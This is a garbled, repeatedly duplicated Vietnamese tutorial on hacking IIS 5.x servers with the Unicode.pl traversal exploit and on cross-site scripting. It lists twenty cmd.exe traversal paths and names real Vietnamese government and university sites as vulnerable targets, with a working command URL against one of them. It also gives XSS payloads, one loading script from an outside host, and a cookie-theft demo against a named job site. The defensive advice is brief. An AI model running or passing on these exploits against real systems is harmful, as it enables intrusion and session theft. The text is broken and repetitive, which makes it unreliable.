Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
Tuy nhiecircn một số filter như saustr_replace($_GET[help_file]) thigrave vẫn bị lỗi bởi lẽ kẻ tấn cocircng coacute thể sử dụng ldquohelliprdquo như thế sau khi qua code lọc ở trecircn noacute sẽ trở thagravenh ldquordquo
Rotilde ragraveng việc lọc như vậy vẫn khocircng triệt đểThay vagraveo đoacute caacutec bạn necircn sử dụng caacutec biểu thức chiacutenh để lọc tốt hơn eregi([]$_GET[help_file])
I KHAacuteI NIỆMII HOẠT ĐỘNG NHƯ THẾ NAgraveO III PHAacuteT HIỆN XSS BẰNG CAacuteCH NAgraveO IV CAacuteCH PHOgraveNG CHỐNG LỖI XSSV DEMO
IIS(Internet Information Service ) lagrave 1 ng d ng ứ ụwebserver mang th ng hi u c a Microsoftươ ệ ủ
IIS server v i caacutec phiecircn b n t tr c đ n phiecircn ớ ả ừ ướ ếb n 5x đ u coacute l i đ ta coacute th khai thaacutec m c đ nh ả ề ỗ ể ể ặ ịtiacutenh năng hit highlight c a IIS 5x b qua giai ủ ỏđo n ch ng th c c b n ạ ứ ự ơ ả
L i n m ph n l c IDA ISAPI (Internet Services ỗ ằ ở ầ ọApplication Programming Interface) noacute cho pheacutep m t maacutey tiacutenh t xa đ a l nh yecircu c u li t kecirc danh ộ ừ ư ệ ầ ệsaacutech file coacute trong h th ng maacuteyệ ố
Hacker coacute th s d ng th thu t đ n gi n lagrave g i ể ử ụ ủ ậ ơ ả ửcho maacutey ch m t kh i l ng x lyacute thocircng tin nhi u ủ ộ ố ượ ử ềh n kh năng c a noacute L ng thocircng tin ch a k p x ơ ả ủ ượ ư ị ửlyacute đoacute - v m t k thu t đ c g i lagrave ldquoshell coderdquo - coacute ề ặ ỹ ậ ượ ọth mang m t lo t caacutec cacircu l nh cho pheacutep k xacircm ể ộ ạ ệ ẻnh p ki m soaacutet maacutey tiacutenh n n nhacircn ậ ể ạ
httpwwwcanthogovvn httpwwwcantho1260net httphanhtrangsinhviennet httphauionlinecom httpdaynghedientucom httpsinhvienbinhdinhvn hellip Do l i nagravey đatilde l i th i necircn coacute th 1 s trang nagravey ỗ ỗ ờ ể ố
đatilde fix đ c l i trecircn ượ ỗ
Đ hack IIS server 5x ta dugraveng 2 cocircng c activeperl IE vagrave ể ụ1 exploit Unicodepl
Xaacutec đ nh trang web m c l i nagraveyị ắ ỗ S d ng telnet đ xaacutec đ nh trang Web ta t n cocircng coacute s ử ụ ể ị ấ ử
d ng IIS server 50 hay khocircng ụ
telnet lt tecircn trang Web gt 80 GET HEAD HTTP10
N u noacute khocircng baacuteo cho ta bi t trang web đang s d ng ch ng ế ế ử ụ ươtrigravenh gigrave thigrave caacutec b n hatildey thay đ i c ng 80 b ng caacutec c ng khaacutec ạ ổ ổ ằ ổnh 8080 81 8000 8001 vvhellip ư
Sau khi đatilde xaacutec đ nh đ c m c tiecircu caacutec b n vagraveo ị ượ ụ ạRun gt CMD gotilde
code perl unicodepl Host ( gotilde đ a ch server magrave caacutec b n mu n hack ) ị ỉ ạ ốPort 80 ( ho c 8080 81 8000 8001 tuỳ theo ặc ng magrave ta đatilde telnet tr c đoacute ) ổ ướ
Caacutec b n s th y b ng li t kecirc l i ( đatilde đ c l p trigravenh trong Unicodepl ) ạ ẽ ấ ả ệ ỗ ượ ậnh sau ư
[1] scriptsc0afwinntsystem32cmdexec+ [2]scriptsc19cwinntsystem32cmdexec+ [3] scriptsc1pcwinntsystem32cmdexec+ [4]scriptsc09vwinntsystem32cmdexec+ [5] scriptsc0qfwinntsystem32cmdexec+ [6] scriptsc18swinntsystem32cmdexec+ [7] scriptsc11cwinntsystem32cmdexec+ [8] scriptsc19cwinntsystem32cmdexec+ [9] scriptsc1afwinntsystem32cmdexec+ [10] scriptse080afwinntsystem32cmdexec+ [11]scriptsf08080afwinntsystem32cmdexec+ [12] scriptsf8808080afwinntsystem32cmdexec+ [13]scriptsfc80808080afwinntsystem32cmdexec+ [14]msadce080afe080afe080afwinntsystem32cmdexec+
[15]cgi-binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [16]samplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [17]iisadmpwdc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [18]_vti_cnfc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [19]_vti_binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [20]adsamplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+
Caacutec b n s th y đ c t t c caacutec l i trecircn n u trang Web n n ạ ẽ ấ ượ ấ ả ỗ ế ạnhacircn b t t c nh ng l i nh v y n u server c a n n nhacircn ị ấ ả ữ ỗ ư ậ ế ủ ạch b l i th 13 vagrave 17 thigrave b ng k t qu ch xu t hi n dograveng ỉ ị ỗ ứ ả ế ả ỉ ấ ệth 13 vagrave 17 magrave thocirci ứVD
b ng k t qu cho ta bi t trang Web n n nhacircn b l i th 3 ả ế ả ế ạ ị ỗ ứvagrave 7 ta s vagraveo IE vagrave nh p đo n matilde t ng ng trecircn ẽ ậ ạ ươ ứAddress
httpwww4rumcomscriptsc1pcwinntsystem32cmdexec+ lt == l i dograveng th 3 ỗ ứho c ặhttpwww4rumcomscriptsc11cwinntsystem32cmdexec+ lt == l i dograveng th 7 ỗ ứ
VD Đ th y đ c n i dung C ta gotilde đ a ch sauể ấ ượ ộ ổ ị ỉ httpwwwtnhcomvn_vti_binc0af
c0afc0afc0afc0afwinntsystem32cmdexec+dir+c
Th ng thigrave source trang web đ t ườ ặ ởinetpubwwwroot
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
I KHAacuteI NIỆMII HOẠT ĐỘNG NHƯ THẾ NAgraveO III PHAacuteT HIỆN XSS BẰNG CAacuteCH NAgraveO IV CAacuteCH PHOgraveNG CHỐNG LỖI XSSV DEMO
IIS(Internet Information Service ) lagrave 1 ng d ng ứ ụwebserver mang th ng hi u c a Microsoftươ ệ ủ
IIS server v i caacutec phiecircn b n t tr c đ n phiecircn ớ ả ừ ướ ếb n 5x đ u coacute l i đ ta coacute th khai thaacutec m c đ nh ả ề ỗ ể ể ặ ịtiacutenh năng hit highlight c a IIS 5x b qua giai ủ ỏđo n ch ng th c c b n ạ ứ ự ơ ả
L i n m ph n l c IDA ISAPI (Internet Services ỗ ằ ở ầ ọApplication Programming Interface) noacute cho pheacutep m t maacutey tiacutenh t xa đ a l nh yecircu c u li t kecirc danh ộ ừ ư ệ ầ ệsaacutech file coacute trong h th ng maacuteyệ ố
Hacker coacute th s d ng th thu t đ n gi n lagrave g i ể ử ụ ủ ậ ơ ả ửcho maacutey ch m t kh i l ng x lyacute thocircng tin nhi u ủ ộ ố ượ ử ềh n kh năng c a noacute L ng thocircng tin ch a k p x ơ ả ủ ượ ư ị ửlyacute đoacute - v m t k thu t đ c g i lagrave ldquoshell coderdquo - coacute ề ặ ỹ ậ ượ ọth mang m t lo t caacutec cacircu l nh cho pheacutep k xacircm ể ộ ạ ệ ẻnh p ki m soaacutet maacutey tiacutenh n n nhacircn ậ ể ạ
httpwwwcanthogovvn httpwwwcantho1260net httphanhtrangsinhviennet httphauionlinecom httpdaynghedientucom httpsinhvienbinhdinhvn hellip Do l i nagravey đatilde l i th i necircn coacute th 1 s trang nagravey ỗ ỗ ờ ể ố
đatilde fix đ c l i trecircn ượ ỗ
Đ hack IIS server 5x ta dugraveng 2 cocircng c activeperl IE vagrave ể ụ1 exploit Unicodepl
Xaacutec đ nh trang web m c l i nagraveyị ắ ỗ S d ng telnet đ xaacutec đ nh trang Web ta t n cocircng coacute s ử ụ ể ị ấ ử
d ng IIS server 50 hay khocircng ụ
telnet lt tecircn trang Web gt 80 GET HEAD HTTP10
N u noacute khocircng baacuteo cho ta bi t trang web đang s d ng ch ng ế ế ử ụ ươtrigravenh gigrave thigrave caacutec b n hatildey thay đ i c ng 80 b ng caacutec c ng khaacutec ạ ổ ổ ằ ổnh 8080 81 8000 8001 vvhellip ư
Sau khi đatilde xaacutec đ nh đ c m c tiecircu caacutec b n vagraveo ị ượ ụ ạRun gt CMD gotilde
code perl unicodepl Host ( gotilde đ a ch server magrave caacutec b n mu n hack ) ị ỉ ạ ốPort 80 ( ho c 8080 81 8000 8001 tuỳ theo ặc ng magrave ta đatilde telnet tr c đoacute ) ổ ướ
Caacutec b n s th y b ng li t kecirc l i ( đatilde đ c l p trigravenh trong Unicodepl ) ạ ẽ ấ ả ệ ỗ ượ ậnh sau ư
[1] scriptsc0afwinntsystem32cmdexec+ [2]scriptsc19cwinntsystem32cmdexec+ [3] scriptsc1pcwinntsystem32cmdexec+ [4]scriptsc09vwinntsystem32cmdexec+ [5] scriptsc0qfwinntsystem32cmdexec+ [6] scriptsc18swinntsystem32cmdexec+ [7] scriptsc11cwinntsystem32cmdexec+ [8] scriptsc19cwinntsystem32cmdexec+ [9] scriptsc1afwinntsystem32cmdexec+ [10] scriptse080afwinntsystem32cmdexec+ [11]scriptsf08080afwinntsystem32cmdexec+ [12] scriptsf8808080afwinntsystem32cmdexec+ [13]scriptsfc80808080afwinntsystem32cmdexec+ [14]msadce080afe080afe080afwinntsystem32cmdexec+
[15]cgi-binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [16]samplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [17]iisadmpwdc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [18]_vti_cnfc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [19]_vti_binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [20]adsamplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+
Caacutec b n s th y đ c t t c caacutec l i trecircn n u trang Web n n ạ ẽ ấ ượ ấ ả ỗ ế ạnhacircn b t t c nh ng l i nh v y n u server c a n n nhacircn ị ấ ả ữ ỗ ư ậ ế ủ ạch b l i th 13 vagrave 17 thigrave b ng k t qu ch xu t hi n dograveng ỉ ị ỗ ứ ả ế ả ỉ ấ ệth 13 vagrave 17 magrave thocirci ứVD
b ng k t qu cho ta bi t trang Web n n nhacircn b l i th 3 ả ế ả ế ạ ị ỗ ứvagrave 7 ta s vagraveo IE vagrave nh p đo n matilde t ng ng trecircn ẽ ậ ạ ươ ứAddress
httpwww4rumcomscriptsc1pcwinntsystem32cmdexec+ lt == l i dograveng th 3 ỗ ứho c ặhttpwww4rumcomscriptsc11cwinntsystem32cmdexec+ lt == l i dograveng th 7 ỗ ứ
VD Đ th y đ c n i dung C ta gotilde đ a ch sauể ấ ượ ộ ổ ị ỉ httpwwwtnhcomvn_vti_binc0af
c0afc0afc0afc0afwinntsystem32cmdexec+dir+c
Th ng thigrave source trang web đ t ườ ặ ởinetpubwwwroot
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
IIS(Internet Information Service ) lagrave 1 ng d ng ứ ụwebserver mang th ng hi u c a Microsoftươ ệ ủ
IIS server v i caacutec phiecircn b n t tr c đ n phiecircn ớ ả ừ ướ ếb n 5x đ u coacute l i đ ta coacute th khai thaacutec m c đ nh ả ề ỗ ể ể ặ ịtiacutenh năng hit highlight c a IIS 5x b qua giai ủ ỏđo n ch ng th c c b n ạ ứ ự ơ ả
L i n m ph n l c IDA ISAPI (Internet Services ỗ ằ ở ầ ọApplication Programming Interface) noacute cho pheacutep m t maacutey tiacutenh t xa đ a l nh yecircu c u li t kecirc danh ộ ừ ư ệ ầ ệsaacutech file coacute trong h th ng maacuteyệ ố
Hacker coacute th s d ng th thu t đ n gi n lagrave g i ể ử ụ ủ ậ ơ ả ửcho maacutey ch m t kh i l ng x lyacute thocircng tin nhi u ủ ộ ố ượ ử ềh n kh năng c a noacute L ng thocircng tin ch a k p x ơ ả ủ ượ ư ị ửlyacute đoacute - v m t k thu t đ c g i lagrave ldquoshell coderdquo - coacute ề ặ ỹ ậ ượ ọth mang m t lo t caacutec cacircu l nh cho pheacutep k xacircm ể ộ ạ ệ ẻnh p ki m soaacutet maacutey tiacutenh n n nhacircn ậ ể ạ
httpwwwcanthogovvn httpwwwcantho1260net httphanhtrangsinhviennet httphauionlinecom httpdaynghedientucom httpsinhvienbinhdinhvn hellip Do l i nagravey đatilde l i th i necircn coacute th 1 s trang nagravey ỗ ỗ ờ ể ố
đatilde fix đ c l i trecircn ượ ỗ
Đ hack IIS server 5x ta dugraveng 2 cocircng c activeperl IE vagrave ể ụ1 exploit Unicodepl
Xaacutec đ nh trang web m c l i nagraveyị ắ ỗ S d ng telnet đ xaacutec đ nh trang Web ta t n cocircng coacute s ử ụ ể ị ấ ử
d ng IIS server 50 hay khocircng ụ
telnet lt tecircn trang Web gt 80 GET HEAD HTTP10
N u noacute khocircng baacuteo cho ta bi t trang web đang s d ng ch ng ế ế ử ụ ươtrigravenh gigrave thigrave caacutec b n hatildey thay đ i c ng 80 b ng caacutec c ng khaacutec ạ ổ ổ ằ ổnh 8080 81 8000 8001 vvhellip ư
Sau khi đatilde xaacutec đ nh đ c m c tiecircu caacutec b n vagraveo ị ượ ụ ạRun gt CMD gotilde
code perl unicodepl Host ( gotilde đ a ch server magrave caacutec b n mu n hack ) ị ỉ ạ ốPort 80 ( ho c 8080 81 8000 8001 tuỳ theo ặc ng magrave ta đatilde telnet tr c đoacute ) ổ ướ
Caacutec b n s th y b ng li t kecirc l i ( đatilde đ c l p trigravenh trong Unicodepl ) ạ ẽ ấ ả ệ ỗ ượ ậnh sau ư
[1] scriptsc0afwinntsystem32cmdexec+ [2]scriptsc19cwinntsystem32cmdexec+ [3] scriptsc1pcwinntsystem32cmdexec+ [4]scriptsc09vwinntsystem32cmdexec+ [5] scriptsc0qfwinntsystem32cmdexec+ [6] scriptsc18swinntsystem32cmdexec+ [7] scriptsc11cwinntsystem32cmdexec+ [8] scriptsc19cwinntsystem32cmdexec+ [9] scriptsc1afwinntsystem32cmdexec+ [10] scriptse080afwinntsystem32cmdexec+ [11]scriptsf08080afwinntsystem32cmdexec+ [12] scriptsf8808080afwinntsystem32cmdexec+ [13]scriptsfc80808080afwinntsystem32cmdexec+ [14]msadce080afe080afe080afwinntsystem32cmdexec+
[15]cgi-binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [16]samplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [17]iisadmpwdc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [18]_vti_cnfc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [19]_vti_binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [20]adsamplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+
Caacutec b n s th y đ c t t c caacutec l i trecircn n u trang Web n n ạ ẽ ấ ượ ấ ả ỗ ế ạnhacircn b t t c nh ng l i nh v y n u server c a n n nhacircn ị ấ ả ữ ỗ ư ậ ế ủ ạch b l i th 13 vagrave 17 thigrave b ng k t qu ch xu t hi n dograveng ỉ ị ỗ ứ ả ế ả ỉ ấ ệth 13 vagrave 17 magrave thocirci ứVD
b ng k t qu cho ta bi t trang Web n n nhacircn b l i th 3 ả ế ả ế ạ ị ỗ ứvagrave 7 ta s vagraveo IE vagrave nh p đo n matilde t ng ng trecircn ẽ ậ ạ ươ ứAddress
httpwww4rumcomscriptsc1pcwinntsystem32cmdexec+ lt == l i dograveng th 3 ỗ ứho c ặhttpwww4rumcomscriptsc11cwinntsystem32cmdexec+ lt == l i dograveng th 7 ỗ ứ
VD Đ th y đ c n i dung C ta gotilde đ a ch sauể ấ ượ ộ ổ ị ỉ httpwwwtnhcomvn_vti_binc0af
c0afc0afc0afc0afwinntsystem32cmdexec+dir+c
Th ng thigrave source trang web đ t ườ ặ ởinetpubwwwroot
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
